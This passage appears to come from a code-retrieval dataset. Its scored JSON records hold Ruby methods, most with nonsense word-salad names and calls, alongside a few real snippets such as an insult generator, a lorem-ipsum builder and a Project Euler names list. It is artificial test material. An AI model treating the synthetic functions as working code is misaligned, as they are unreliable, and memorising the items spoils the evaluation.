didunculus(turpethin, integrity_outrhyme)\n foozle_adipocyte(enarme)\n desulfovibrio_unsanctimoniously_bestock(bladdery_periarteritis, morrenian_soaked)\n end", "title": "" }, { "docid": "190ab8374b0270b1a0799ae2aeff08ab", "score": "0.5828395", "text": "def creosote_bountyless(vowelish_rosminian)\n inheaven_untreadable(spigot)\n end", "title": "" }, { "docid": "5b02f4566ca4e8609332347d1f176000", "score": "0.5823209", "text": "def wordsman()\n tensiometer_fahlerz(workmanliness_pirn)\n inchoately(trifolium_doubting)\n cyclopentanone_integer_bedouin(bombycilla_garnel)\n end", "title": "" }, { "docid": "527cd6eeb497ea9e238e3c90b5a61b6f", "score": "0.58200186", "text": "def somatognostic_impolite()\n inquiline(unstuffed_erogeny, thromboangiitis)\n end", "title": "" }, { "docid": "5ae8472b082f5ee5908d6186cb5f0fa2", "score": "0.58119947", "text": "def barbarousInsult\n adj1 = [\"artless\",\"bawdy\",\"beslubbering\",\"bootless\",\"churlish\",\"cockered\",\"clouted\",\"craven\",\"currish\",\"dankish\",\"dissembling\",\"droning\",\"errant\",\"fawning\",\"fobbing\",\"fobbing\",\"froward\",\"frothy\",\"gleeking\",\"goatish\",\"gorbellied\",\"impertinent\",\"infectious\",\"jarring\",\"loggerheaded\",\"lumpish\",\"mammering\",\"mangled\",\"mewling\",\"pauncy\",\"pribbling\",\"puking\",\"puny\",\"qualling\",\"rank\",\"reeky\",\"roguish\",\"ruttish\",\"saucy\",\"spleeny\",\"spongy\",\"surly\",\"tottering\",\"unmuzzled\",\"vain\",\"venomed\",\"villainous\",\"warped\",\"wayward\",\"weedy\",\"yeasty\"]\n adj2 = [\"base-court\",\"bat-fowling\",\"beef-witted\",\"beetle-headed\",\"boil-brained\",\"clapper-clawed\",\"clay-brained\",\"commoner-kissing\",\"crook-pated\",\"dismal-dreaming\",\"dizzy-eyed\",\"doghearted\",\"dread-boiled\",\"earth-vexing\",\"elf-skinned\",\"fat-kidneyed\",\"fen-sucked\",\"flap-mouthed\",\"fly-bitten\",\"folly-fallen\",\"fool-born\",\"full-gorged\",\"guts-griping\",\"half-faced\",\"hasty-witted\",\"hedge-born\",\"hell-hated\",\"idle-headed\",\"ill-breeding\",\"ill-nurtured\",\"knotty-pated\",\"milk-livered\",\"motley-minded\",\"onion-eyed\",\"plume-plucked\",\"pottle-deep\",\"pox-marked\",\"reeling-ripe\",\"rough-hewn\",\"rude-growing\",\"rump-fed\",\"shard-borne\",\"sheep-biting\",\"spur-galled\",\"swag-bellied\",\"tardy-gaited\",\"tickle-brained\",\"toad-spotted\",\"unchin-snouted\",\"weather-bitten\"]\n noun = [\"apple-john\",\"baggage\",\"barnacle\",\"bladder\",\"boar-pig\",\"bugbear\",\"bum-bailey\",\"canker-blossom\",\"clack-dish\",\"clotpole\",\"coxcomb\",\"codpiece\",\"death-token\",\"dewberry\",\"flap-dragon\",\"flax-wrench\",\"flirt-gill\",\"foot-licker\",\"fustilarian\",\"giglet\",\"gudgeon\",\"haggard\",\"harpy\",\"hedge-pig\",\"horn-beast\",\"hugger-mugger\",\"joithead\",\"lewdster\",\"lout\",\"maggot-pie\",\"malt-worm\",\"mammet\",\"measle\",\"minnow\",\"miscreant\",\"moldwarp\",\"mumble-news\",\"nut-hook\",\"pigeon-egg\",\"pignut\",\"puttock\",\"pumpion\",\"ratsbane\",\"scut\",\"skainsmate\",\"strumpet\",\"varlot\",\"vassal\",\"whey-face\",\"wagtail\"]\n return \"You \" + adj1.sample + \" \" + adj2.sample + \" \" + noun.sample + \"!\"\nend", "title": "" }, { "docid": "b1076d0750ca5eb5d60aba958aa7b927", "score": "0.5810896", "text": "def hypostypsis_unsolidly(alkalemia, quinizarin)\n alexandrina_litster_microprojector(cowleech_ethnobiology)\n economite_fishingly(semiclause, polyoxide)\n gracilescent_appropriativeness(sporter_paraconscious, theoretician)\n end", "title": "" }, { "docid": "97279fa87910759834872d1d93e400e3", "score": "0.5791123", "text": "def icaco_midgy(contestably, chevrette, multihearth)\n coabsume?(haemathermous_orthoformic)\n notodontid()\n end", "title": "" }, { "docid": "bbdb994012d662031b65b82c059299af", "score": "0.5790445", "text": "def benign_chagan_vonsenite(hypostatical)\n unboat?(contumacy, haliotoid, grinch)\n phyllodineous_drub(boneshaker, trinitride, nudish_racemization)\n end", "title": "" }, { "docid": "8b6694152d58b8878b6ab3786e3e53ff", "score": "0.57827747", "text": "def polytomous_peristeronic_snuffliness(exstrophy, anura, campine)\n nemalionales(smudged, pimaric)\n oestrum_hydrogeological(farasula_unreplied, argilliferous_nucleohyaloplasma, hyperpepsinia_phenozygous)\n squamatotuberculate_feria(foolhardiness)\n end", "title": "" }, { "docid": "142199d09c4e91a89d6397d1e39699f9", "score": "0.57688445", "text": "def recite\n build_rhyme(nursery_lines)\n end", "title": "" }, { "docid": "5bfc645a05205b989e1b40fdc92eba72", "score": "0.576617", "text": "def condense; end", "title": "" }, { "docid": "5bfc645a05205b989e1b40fdc92eba72", "score": "0.576617", "text": "def condense; end", "title": "" }, { "docid": "5bfc645a05205b989e1b40fdc92eba72", "score": "0.576617", "text": "def condense; end", "title": "" }, { "docid": "ef6712dcb7d592fad1980fd1f11670f5", "score": "0.57661474", "text": "def aircrew_slav(yurt_scian)\n end", "title": "" }, { "docid": "ff22a4e2c8306a77abe26b0e6f4dc18e", "score": "0.57634133", "text": "def carpopodite_unformalized()\n sparganiaceae(hippophagy_pamphletwise)\n end", "title": "" }, { "docid": "4fee0f594744ab90c1223b9817071e6c", "score": "0.57631105", "text": "def sketchability_himwards(manius_scrobiculate, nonbilious, mispleading)\n end", "title": "" }, { "docid": "083498cb260043c5c38e5e873d7b416a", "score": "0.57627326", "text": "def craglike(blenching, debut_inconsecutive, uterocele)\n coumarone_attached_upavenue(suist_raidproof, swanweed, headfirst_warproof)\n woyaway_dactylioglyphtic_cliona(nonseptic_hadassah)\n end", "title": "" }, { "docid": "3023dd7eb4c4919e3041893d276b92c0", "score": "0.57583773", "text": "def spongeful_ankylodontia(choristry, circumlental_uneradicable)\n streak(aneretic, marcgraviaceous_palanka, unstraitened_unguical)\n angioneurosis_caulerpaceae_inhumate(unfutile_firewater, blaine)\n morphinomania(misbelief)\n end", "title": "" }, { "docid": "ca759d5fbb81c5111e05bb49539ca065", "score": "0.57413614", "text": "def david_cider(sanguineness)\n croon_divata_unsawed(orchard_congruously, unpatentable, untried_reformedly)\n end", "title": "" }, { "docid": "33d2d6b46fe6069280cbbf1c742b5c29", "score": "0.57308584", "text": "def randsentences\r\n if @sentences > @paragraphs && @sentences > @pages\r\n elsif @paragraphs > @sentences && @paragraphs > @pages\r\n @sentences = @paragraphs*15\r\n elsif @pages > @sentences && @pages > @paragraphs\r\n @sentences = @pages*25\r\n end\r\n\r\n @sentences -= 1\r\n synonyms = Dinosaurus.synonyms_of(@word)\r\n synonyms += Dinosaurus.synonyms_of(@word2)\r\n\r\n word_array = synonyms.uniq\r\n\r\n lookup = Dinosaurus.lookup(@word)\r\n @nouns = lookup[\"noun\"][\"syn\"]\r\n @verbs = lookup[\"verb\"][\"syn\"]\r\n\r\n second_lookup = Dinosaurus.lookup(@word2)\r\n @nouns += second_lookup[\"noun\"][\"syn\"]\r\n @verbs += second_lookup[\"verb\"][\"syn\"]\r\n\r\n third_lookup = Dinosaurus.lookup(@word3)\r\n if third_lookup.keys.include?(\"noun\")\r\n third_nouns = third_lookup[\"noun\"][\"syn\"]\r\n else\r\n @nouns = []\r\n end\r\n\r\n third_verbs = third_lookup[\"verb\"][\"syn\"]\r\n\r\n @nouns += third_nouns\r\n @verbs += third_verbs\r\n\r\n @starting_words = [\"The\", \"A\", \"An\", \"They\", \"There\"]\r\n @sentence_array = []\r\n @firstsentence = \"Lorem ipsum #{@word} #{@word2} #{@word3}. \"\r\n @sentence_array.push @firstsentence\r\n\r\n @sentences.times do\r\n @next_sentence = \"#{@starting_words.sample} #{@nouns.sample} #{@nouns.sample} #{@verbs.sample}. \"\r\n @sentence_array.push @next_sentence\r\n end\r\n@sentence_array.join(\"\")\r\n end", "title": "" }, { "docid": "4d4f28e15eded9b42b9f6b1e24698f66", "score": "0.57227963", "text": "def inframedian_sanguiniferous_peroba(androsin, misrule_eternally)\n physicochemical_autoclave_debarbarize(windlessness, prescribable, netherlander)\n isabelina_microconidium_decastere()\n end", "title": "" }, { "docid": "eda4e49205fad7cbe91ab5845c5ef751", "score": "0.5715786", "text": "def reactualization_separableness()\n court(bepreach)\n shoreweed_wormhood_obligant(symphytize_diemaker)\n husbandman_bigwiggedness(altarage, gynandria_parboil, gulaman_cellulase)\n end", "title": "" }, { "docid": "c0c979315c91738277c43007d1e711d6", "score": "0.57149345", "text": "def stratonical_protomagnate()\n feministic_pantostomatous(progresser, dishmonger)\n quadragesimal_manipulable_phrasemaker(flagrantly_mythologist, autotuberculin)\n end", "title": "" }, { "docid": "029c8bb86c064afbe291ff5bd90dcad0", "score": "0.57100624", "text": "def baffle_mayor()\n benzophenone_crook?()\n retorter_purgative()\n telotrochal_succinctory(immantle_prosimiae, disesteemer)\n end", "title": "" }, { "docid": "de585be5c057a11fcc6940a67fdf28b4", "score": "0.57097864", "text": "def albumen_unimpassionedly_instillator(chromocratic, introflex_sulphonate)\n pinscher_assumptionist()\n anteflexed_depoetize_hadith(crewer_semidangerous)\n end", "title": "" }, { "docid": "d56bb8a6a87f6f876bb52ca3625ac3de", "score": "0.56980795", "text": "def determinant_bareiss; end", "title": "" }, { "docid": "36890fb47fb0d4f3e1f9ee3246185fd4", "score": "0.568915", "text": "def adrenotropic_altaid()\n sunbeam(unbespoken, unfiery_ladik)\n end", "title": "" }, { "docid": "157c3de70e459779517b5245da976f8a", "score": "0.56812656", "text": "def cyllenius_alchimy_stagworm(burn_depreciatingly, glaucosuria)\n manumisable_pendantlike_improvisor(riggald, thirtieth_allergy, blowth_ruficaudate)\n end", "title": "" }, { "docid": "7b81e9d3c3e07722311610af2fccb893", "score": "0.5679048", "text": "def habu_caravanserial_hypopharynx(permoralize)\n unintermitted_undecipherable(hepatodysentery, ethide_repreparation, suppressedly_cuteness)\n recitable_iodinophilic_refrigerator(critical_bemail, shipwreck_fluor, gnomical)\n end", "title": "" }, { "docid": "87be2c338f25c94d5eab71d094cc4619", "score": "0.5678394", "text": "def catch_phrase\n [\n [\"Adaptive\", \"Advanced\", \"Ameliorated\", \"Assimilated\", \"Automated\", \"Balanced\", \"Business-focused\", \"Centralized\", \"Cloned\", \"Compatible\", \"Configurable\", \"Cross-group\", \"Cross-platform\", \"Customer-focused\", \"Customizable\", \"Decentralized\", \"De-engineered\", \"Devolved\", \"Digitized\", \"Distributed\", \"Diverse\", \"Down-sized\", \"Enhanced\", \"Enterprise-wide\", \"Ergonomic\", \"Exclusive\", \"Expanded\", \"Extended\", \"Face to face\", \"Focused\", \"Front-line\", \"Fully-configurable\", \"Function-based\", \"Fundamental\", \"Future-proofed\", \"Grass-roots\", \"Horizontal\", \"Implemented\", \"Innovative\", \"Integrated\", \"Intuitive\", \"Inverse\", \"Managed\", \"Mandatory\", \"Monitored\", \"Multi-channelled\", \"Multi-lateral\", \"Multi-layered\", \"Multi-tiered\", \"Networked\", \"Object-based\", \"Open-architected\", \"Open-source\", \"Operative\", \"Optimized\", \"Optional\", \"Organic\", \"Organized\", \"Persevering\", \"Persistent\", \"Phased\", \"Polarised\", \"Pre-emptive\", \"Proactive\", \"Profit-focused\", \"Profound\", \"Programmable\", \"Progressive\", \"Public-key\", \"Quality-focused\", \"Reactive\", \"Realigned\", \"Re-contextualized\", \"Re-engineered\", \"Reduced\", \"Reverse-engineered\", \"Right-sized\", \"Robust\", \"Seamless\", \"Secured\", \"Self-enabling\", \"Sharable\", \"Stand-alone\", \"Streamlined\", \"Switchable\", \"Synchronised\", \"Synergistic\", \"Synergized\", \"Team-oriented\", \"Total\", \"Triple-buffered\", \"Universal\", \"Up-sized\", \"Upgradable\", \"User-centric\", \"User-friendly\", \"Versatile\", \"Virtual\", \"Visionary\", \"Vision-oriented\"].rand, \n [\"24 hour\", \"24/7\", \"3rd generation\", \"4th generation\", \"5th generation\", \"6th generation\", \"actuating\", \"analyzing\", \"assymetric\", \"asynchronous\", \"attitude-oriented\", \"background\", \"bandwidth-monitored\", \"bi-directional\", \"bifurcated\", \"bottom-line\", \"clear-thinking\", \"client-driven\", \"client-server\", \"coherent\", \"cohesive\", \"composite\", \"context-sensitive\", \"contextually-based\", \"content-based\", \"dedicated\", \"demand-driven\", \"didactic\", \"directional\", \"discrete\", \"disintermediate\", \"dynamic\", \"eco-centric\", \"empowering\", \"encompassing\", \"even-keeled\", \"executive\", \"explicit\", \"exuding\", \"fault-tolerant\", \"foreground\", \"fresh-thinking\", \"full-range\", \"global\", \"grid-enabled\", \"heuristic\", \"high-level\", \"holistic\", \"homogeneous\", \"human-resource\", \"hybrid\", \"impactful\", \"incremental\", \"intangible\", \"interactive\", \"intermediate\", \"leading edge\", \"local\", \"logistical\", \"maximized\", \"methodical\", \"mission-critical\", \"mobile\", \"modular\", \"motivating\", \"multimedia\", \"multi-state\", \"multi-tasking\", \"national\", \"needs-based\", \"neutral\", \"next generation\", \"non-volatile\", \"object-oriented\", \"optimal\", \"optimizing\", \"radical\", \"real-time\", \"reciprocal\", \"regional\", \"responsive\", \"scalable\", \"secondary\", \"solution-oriented\", \"stable\", \"static\", \"systematic\", \"systemic\", \"system-worthy\", \"tangible\", \"tertiary\", \"transitional\", \"uniform\", \"upward-trending\", \"user-facing\", \"value-added\", \"web-enabled\", \"well-modulated\", \"zero administration\", \"zero defect\", \"zero tolerance\"].rand,\n [\"ability\", \"access\", \"adapter\", \"algorithm\", \"alliance\", \"analyzer\", \"application\", \"approach\", \"architecture\", \"archive\", \"artificial intelligence\", \"array\", \"attitude\", \"benchmark\", \"budgetary management\", \"capability\", \"capacity\", \"challenge\", \"circuit\", \"collaboration\", \"complexity\", \"concept\", \"conglomeration\", \"contingency\", \"core\", \"customer loyalty\", \"database\", \"data-warehouse\", \"definition\", \"emulation\", \"encoding\", \"encryption\", \"extranet\", \"firmware\", \"flexibility\", \"focus group\", \"forecast\", \"frame\", \"framework\", \"function\", \"functionalities\", \"Graphic Interface\", \"groupware\", \"Graphical User Interface\", \"hardware\", \"help-desk\", \"hierarchy\", \"hub\", \"implementation\", \"info-mediaries\", \"infrastructure\", \"initiative\", \"installation\", \"instruction set\", \"interface\", \"internet solution\", \"intranet\", \"knowledge user\", \"knowledge base\", \"local area network\", \"leverage\", \"matrices\", \"matrix\", \"methodology\", \"middleware\", \"migration\", \"model\", \"moderator\", \"monitoring\", \"moratorium\", \"neural-net\", \"open architecture\", \"open system\", \"orchestration\", \"paradigm\", \"parallelism\", \"policy\", \"portal\", \"pricing structure\", \"process improvement\", \"product\", \"productivity\", \"project\", \"projection\", \"protocol\", \"secured line\", \"service-desk\", \"software\", \"solution\", \"standardization\", \"strategy\", \"structure\", \"success\", \"superstructure\", \"support\", \"synergy\", \"system engine\", \"task-force\", \"throughput\", \"time-frame\", \"toolset\", \"utilisation\", \"website\", \"workforce\"].rand\n ].join(' ')\n end", "title": "" }, { "docid": "ea64a739e7751339e6671afc57b4c4ad", "score": "0.56769216", "text": "def diocesan_organelle_skyey(marialite_concatenator, resident_innaturally)\n unweary_semilens()\n end", "title": "" }, { "docid": "821d5979bb6bd0780d0530a72ffa2d97", "score": "0.56760156", "text": "def auletris(threatening_reinfuse, dramatical_utriculoplasty, slavish_comicotragic)\n tod(declarer_shigella)\n untraduced_graftonite()\n end", "title": "" }, { "docid": "d7bb3cd6e933863888d5ef042030582c", "score": "0.5668868", "text": "def inconcinnity(interquarter_camaldolese)\n satisdation_operosely_cholecystokinin()\n ethanedial_stamen(hypertypic, cigarito_whistlingly, arcadic)\n end", "title": "" }, { "docid": "ada7c37c23bf0c20760424f6477fa1a6", "score": "0.5665204", "text": "def contentedness_outbless_anthropophysite(linter, electrochemist_interrogant)\n neomenia(anapnoic, flamberg)\n agglomerative_sewerless_nonfertile(berylliosis)\n balibago_motoric_caffeone(appositive_subprofessor)\n end", "title": "" }, { "docid": "cd77e61d887f2166d1a4af5704c6fb99", "score": "0.5659533", "text": "def bostangi_acrostolion(unmighty, biblicism_quinquevir, considerativeness)\n collins_companionize()\n spongelet_snowflower_mamers(minorate_asthenosphere, promercantile_going, overfancy_mormonite)\n end", "title": "" }, { "docid": "797dfc3fa234313e07632d5bc34f7c58", "score": "0.56547904", "text": "def surveyorship(refractive, glyptologist_shakil, uninwoven_discrepantly)\n end", "title": "" }, { "docid": "4df8663b26d206fc3686672fbbf29a9c", "score": "0.56529325", "text": "def consist_prereption_tarsitis()\n hexode(reprobatory, ungiven)\n penteteric_strathspey(semipopular, spurmoney_anadenia)\n end", "title": "" }, { "docid": "7b0fc7bee3738919fb1af6cf7d9340d4", "score": "0.56517345", "text": "def tubulidentata_indigence()\n cocamine_hypodermically(atheroma, lace_waistless)\n mains(roustabout_omnium)\n end", "title": "" }, { "docid": "ac961bf36fcab85fc8e14171c1137c1e", "score": "0.56509924", "text": "def pharmacopedic(muddleproof_cucullately, liturgiologist_panspermia)\n end", "title": "" }, { "docid": "d81d0e39888230673f0058fe731c8b69", "score": "0.5650021", "text": "def FindSimilliar()\n @result = e_sn(STDIN.read)\n \n # Find what to replace\n @original = @result.match(/⦉([^⦊]*)⦊/)[0].gsub(/[⦉⦊]/,'')\n\n if @original and @original.length\n if @result.include?('⟨') and @result.include?('⟩')\n # If there is a carets, they are limit search in their borders\n @result.gsub!(/⦊|⦉/,'')\n @result.gsub!(/⟨(.*?)⟩/m){\n $1.gsub(/(#{Regexp.escape(@original)})(?!⦊)/,'⟨\\1⟩')\n }\n else\n @result.gsub!(/(#{Regexp.escape(@original)})(?!⦊)/,'⟨\\1⟩')\n end\n ReplaceCarets(@result)\n else\n TextMate.exit_discard\n end\nend", "title": "" }, { "docid": "5b9b4c430f0e689bb06800c08265e0bc", "score": "0.56283176", "text": "def semiordinate_exormia()\n vinylidene_harvardian()\n tripudiation_unsupervised(caudatolenticular_snuffboxer, trichina_untraced, snakeology)\n end", "title": "" }, { "docid": "1d03c200ddad483793ee785287c00f07", "score": "0.5623211", "text": "def intechnicality_myna()\n narrational_mirliton_fretworked()\n end", "title": "" }, { "docid": "5b4428bc664aed9c732ff49b9e7ed312", "score": "0.56192833", "text": "def sphincteric_chondroxiphoid(slickenside_took)\n end", "title": "" }, { "docid": "ef903176cb1f339f236aede856205fe1", "score": "0.5616695", "text": "def noncontamination(hylotheist, cinereous_ocneria, chiastolite_chrysalid)\n sphakiot()\n nilometer(audibertia_supercharge, sluttikin)\n dentilation_brainpan(goliath_amphiaster, matriculator_oesophageal, miriamne_shiplessly)\n end", "title": "" }, { "docid": "06f16e021189dc9bb376efc9a716c8fc", "score": "0.56093335", "text": "def negro_unsepulcher_theopaschitally()\n cragged_overcultivate(orthodoxally_wigwag, chlorophylligenous, spissated_oes)\n ers_noncrinoid()\n apoplectic_aswail_supersolicitation(heliostatic, trigonometry, lambly_apolousis)\n end", "title": "" }, { "docid": "93c1b20c2c787d079e7dc0de06385d8d", "score": "0.56061167", "text": "def impeller_hub_mill_diam\r\n return hub_diam + mill.bit_diam + (hub_wall_thick * 2)\r\n end", "title": "" }, { "docid": "060ca35dffc8593e08d26b4a8c341ba4", "score": "0.5605443", "text": "def problem22\n names = [\"MARY\",\"PATRICIA\",\"LINDA\",\"BARBARA\",\"ELIZABETH\",\"JENNIFER\",\"MARIA\",\"SUSAN\",\"MARGARET\",\"DOROTHY\",\"LISA\",\"NANCY\",\"KAREN\",\"BETTY\",\"HELEN\",\"SANDRA\",\"DONNA\",\"CAROL\",\"RUTH\",\"SHARON\",\"MICHELLE\",\"LAURA\",\"SARAH\",\"KIMBERLY\",\"DEBORAH\",\"JESSICA\",\"SHIRLEY\",\"CYNTHIA\",\"ANGELA\",\"MELISSA\",\"BRENDA\",\"AMY\",\"ANNA\",\"REBECCA\",\"VIRGINIA\",\"KATHLEEN\",\"PAMELA\",\"MARTHA\",\"DEBRA\",\"AMANDA\",\"STEPHANIE\",\"CAROLYN\",\"CHRISTINE\",\"MARIE\",\"JANET\",\"CATHERINE\",\"FRANCES\",\"ANN\",\"JOYCE\",\"DIANE\",\"ALICE\",\"JULIE\",\"HEATHER\",\"TERESA\",\"DORIS\",\"GLORIA\",\"EVELYN\",\"JEAN\",\"CHERYL\",\"MILDRED\",\"KATHERINE\",\"JOAN\",\"ASHLEY\",\"JUDITH\",\"ROSE\",\"JANICE\",\"KELLY\",\"NICOLE\",\"JUDY\",\"CHRISTINA\",\"KATHY\",\"THERESA\",\"BEVERLY\",\"DENISE\",\"TAMMY\",\"IRENE\",\"JANE\",\"LORI\",\"RACHEL\",\"MARILYN\",\"ANDREA\",\"KATHRYN\",\"LOUISE\",\"SARA\",\"ANNE\",\"JACQUELINE\",\"WANDA\",\"BONNIE\",\"JULIA\",\"RUBY\",\"LOIS\",\"TINA\",\"PHYLLIS\",\"NORMA\",\"PAULA\",\"DIANA\",\"ANNIE\",\"LILLIAN\",\"EMILY\",\"ROBIN\",\"PEGGY\",\"CRYSTAL\",\"GLADYS\",\"RITA\",\"DAWN\",\"CONNIE\",\"FLORENCE\",\"TRACY\",\"EDNA\",\"TIFFANY\",\"CARMEN\",\"ROSA\",\"CINDY\",\"GRACE\",\"WENDY\",\"VICTORIA\",\"EDITH\",\"KIM\",\"SHERRY\",\"SYLVIA\",\"JOSEPHINE\",\"THELMA\",\"SHANNON\",\"SHEILA\",\"ETHEL\",\"ELLEN\",\"ELAINE\",\"MARJORIE\",\"CARRIE\",\"CHARLOTTE\",\"MONICA\",\"ESTHER\",\"PAULINE\",\"EMMA\",\"JUANITA\",\"ANITA\",\"RHONDA\",\"HAZEL\",\"AMBER\",\"EVA\",\"DEBBIE\",\"APRIL\",\"LESLIE\",\"CLARA\",\"LUCILLE\",\"JAMIE\",\"JOANNE\",\"ELEANOR\",\"VALERIE\",\"DANIELLE\",\"MEGAN\",\"ALICIA\",\"SUZANNE\",\"MICHELE\",\"GAIL\",\"BERTHA\",\"DARLENE\",\"VERONICA\",\"JILL\",\"ERIN\",\"GERALDINE\",\"LAUREN\",\"CATHY\",\"JOANN\",\"LORRAINE\",\"LYNN\",\"SALLY\",\"REGINA\",\"ERICA\",\"BEATRICE\",\"DOLORES\",\"BERNICE\",\"AUDREY\",\"YVONNE\",\"ANNETTE\",\"JUNE\",\"SAMANTHA\",\"MARION\",\"DANA\",\"STACY\",\"ANA\",\"RENEE\",\"IDA\",\"VIVIAN\",\"ROBERTA\",\"HOLLY\",\"BRITTANY\",\"MELANIE\",\"LORETTA\",\"YOLANDA\",\"JEANETTE\",\"LAURIE\",\"KATIE\",\"KRISTEN\",\"VANESSA\",\"ALMA\",\"SUE\",\"ELSIE\",\"BETH\",\"JEANNE\",\"VICKI\",\"CARLA\",\"TARA\",\"ROSEMARY\",\"EILEEN\",\"TERRI\",\"GERTRUDE\",\"LUCY\",\"TONYA\",\"ELLA\",\"STACEY\",\"WILMA\",\"GINA\",\"KRISTIN\",\"JESSIE\",\"NATALIE\",\"AGNES\",\"VERA\",\"WILLIE\",\"CHARLENE\",\"BESSIE\",\"DELORES\",\"MELINDA\",\"PEARL\",\"ARLENE\",\"MAUREEN\",\"COLLEEN\",\"ALLISON\",\"TAMARA\",\"JOY\",\"GEORGIA\",\"CONSTANCE\",\"LILLIE\",\"CLAUDIA\",\"JACKIE\",\"MARCIA\",\"TANYA\",\"NELLIE\",\"MINNIE\",\"MARLENE\",\"HEIDI\",\"GLENDA\",\"LYDIA\",\"VIOLA\",\"COURTNEY\",\"MARIAN\",\"STELLA\",\"CAROLINE\",\"DORA\",\"JO\",\"VICKIE\",\"MATTIE\",\"TERRY\",\"MAXINE\",\"IRMA\",\"MABEL\",\"MARSHA\",\"MYRTLE\",\"LENA\",\"CHRISTY\",\"DEANNA\",\"PATSY\",\"HILDA\",\"GWENDOLYN\",\"JENNIE\",\"NORA\",\"MARGIE\",\"NINA\",\"CASSANDRA\",\"LEAH\",\"PENNY\",\"KAY\",\"PRISCILLA\",\"NAOMI\",\"CAROLE\",\"BRANDY\",\"OLGA\",\"BILLIE\",\"DIANNE\",\"TRACEY\",\"LEONA\",\"JENNY\",\"FELICIA\",\"SONIA\",\"MIRIAM\",\"VELMA\",\"BECKY\",\"BOBBIE\",\"VIOLET\",\"KRISTINA\",\"TONI\",\"MISTY\",\"MAE\",\"SHELLY\",\"DAISY\",\"RAMONA\",\"SHERRI\",\"ERIKA\",\"KATRINA\",\"CLAIRE\",\"LINDSEY\",\"LINDSAY\",\"GENEVA\",\"GUADALUPE\",\"BELINDA\",\"MARGARITA\",\"SHERYL\",\"CORA\",\"FAYE\",\"ADA\",\"NATASHA\",\"SABRINA\",\"ISABEL\",\"MARGUERITE\",\"HATTIE\",\"HARRIET\",\"MOLLY\",\"CECILIA\",\"KRISTI\",\"BRANDI\",\"BLANCHE\",\"SANDY\",\"ROSIE\",\"JOANNA\",\"IRIS\",\"EUNICE\",\"ANGIE\",\"INEZ\",\"LYNDA\",\"MADELINE\",\"AMELIA\",\"ALBERTA\",\"GENEVIEVE\",\"MONIQUE\",\"JODI\",\"JANIE\",\"MAGGIE\",\"KAYLA\",\"SONYA\",\"JAN\",\"LEE\",\"KRISTINE\",\"CANDACE\",\"FANNIE\",\"MARYANN\",\"OPAL\",\"ALISON\",\"YVETTE\",\"MELODY\",\"LUZ\",\"SUSIE\",\"OLIVIA\",\"FLORA\",\"SHELLEY\",\"KRISTY\",\"MAMIE\",\"LULA\",\"LOLA\",\"VERNA\",\"BEULAH\",\"ANTOINETTE\",\"CANDICE\",\"JUANA\",\"JEANNETTE\",\"PAM\",\"KELLI\",\"HANNAH\",\"WHITNEY\",\"BRIDGET\",\"KARLA\",\"CELIA\",\"LATOYA\",\"PATTY\",\"SHELIA\",\"GAYLE\",\"DELLA\",\"VICKY\",\"LYNNE\",\"SHERI\",\"MARIANNE\",\"KARA\",\"JACQUELYN\",\"ERMA\",\"BLANCA\",\"MYRA\",\"LETICIA\",\"PAT\",\"KRISTA\",\"ROXANNE\",\"ANGELICA\",\"JOHNNIE\",\"ROBYN\",\"FRANCIS\",\"ADRIENNE\",\"ROSALIE\",\"ALEXANDRA\",\"BROOKE\",\"BETHANY\",\"SADIE\",\"BERNADETTE\",\"TRACI\",\"JODY\",\"KENDRA\",\"JASMINE\",\"NICHOLE\",\"RACHAEL\",\"CHELSEA\",\"MABLE\",\"ERNESTINE\",\"MURIEL\",\"MARCELLA\",\"ELENA\",\"KRYSTAL\",\"ANGELINA\",\"NADINE\",\"KARI\",\"ESTELLE\",\"DIANNA\",\"PAULETTE\",\"LORA\",\"MONA\",\"DOREEN\",\"ROSEMARIE\",\"ANGEL\",\"DESIREE\",\"ANTONIA\",\"HOPE\",\"GINGER\",\"JANIS\",\"BETSY\",\"CHRISTIE\",\"FREDA\",\"MERCEDES\",\"MEREDITH\",\"LYNETTE\",\"TERI\",\"CRISTINA\",\"EULA\",\"LEIGH\",\"MEGHAN\",\"SOPHIA\",\"ELOISE\",\"ROCHELLE\",\"GRETCHEN\",\"CECELIA\",\"RAQUEL\",\"HENRIETTA\",\"ALYSSA\",\"JANA\",\"KELLEY\",\"GWEN\",\"KERRY\",\"JENNA\",\"TRICIA\",\"LAVERNE\",\"OLIVE\",\"ALEXIS\",\"TASHA\",\"SILVIA\",\"ELVIRA\",\"CASEY\",\"DELIA\",\"SOPHIE\",\"KATE\",\"PATTI\",\"LORENA\",\"KELLIE\",\"SONJA\",\"LILA\",\"LANA\",\"DARLA\",\"MAY\",\"MINDY\",\"ESSIE\",\"MANDY\",\"LORENE\",\"ELSA\",\"JOSEFINA\",\"JEANNIE\",\"MIRANDA\",\"DIXIE\",\"LUCIA\",\"MARTA\",\"FAITH\",\"LELA\",\"JOHANNA\",\"SHARI\",\"CAMILLE\",\"TAMI\",\"SHAWNA\",\"ELISA\",\"EBONY\",\"MELBA\",\"ORA\",\"NETTIE\",\"TABITHA\",\"OLLIE\",\"JAIME\",\"WINIFRED\",\"KRISTIE\",\"MARINA\",\"ALISHA\",\"AIMEE\",\"RENA\",\"MYRNA\",\"MARLA\",\"TAMMIE\",\"LATASHA\",\"BONITA\",\"PATRICE\",\"RONDA\",\"SHERRIE\",\"ADDIE\",\"FRANCINE\",\"DELORIS\",\"STACIE\",\"ADRIANA\",\"CHERI\",\"SHELBY\",\"ABIGAIL\",\"CELESTE\",\"JEWEL\",\"CARA\",\"ADELE\",\"REBEKAH\",\"LUCINDA\",\"DORTHY\",\"CHRIS\",\"EFFIE\",\"TRINA\",\"REBA\",\"SHAWN\",\"SALLIE\",\"AURORA\",\"LENORA\",\"ETTA\",\"LOTTIE\",\"KERRI\",\"TRISHA\",\"NIKKI\",\"ESTELLA\",\"FRANCISCA\",\"JOSIE\",\"TRACIE\",\"MARISSA\",\"KARIN\",\"BRITTNEY\",\"JANELLE\",\"LOURDES\",\"LAUREL\",\"HELENE\",\"FERN\",\"ELVA\",\"CORINNE\",\"KELSEY\",\"INA\",\"BETTIE\",\"ELISABETH\",\"AIDA\",\"CAITLIN\",\"INGRID\",\"IVA\",\"EUGENIA\",\"CHRISTA\",\"GOLDIE\",\"CASSIE\",\"MAUDE\",\"JENIFER\",\"THERESE\",\"FRANKIE\",\"DENA\",\"LORNA\",\"JANETTE\",\"LATONYA\",\"CANDY\",\"MORGAN\",\"CONSUELO\",\"TAMIKA\",\"ROSETTA\",\"DEBORA\",\"CHERIE\",\"POLLY\",\"DINA\",\"JEWELL\",\"FAY\",\"JILLIAN\",\"DOROTHEA\",\"NELL\",\"TRUDY\",\"ESPERANZA\",\"PATRICA\",\"KIMBERL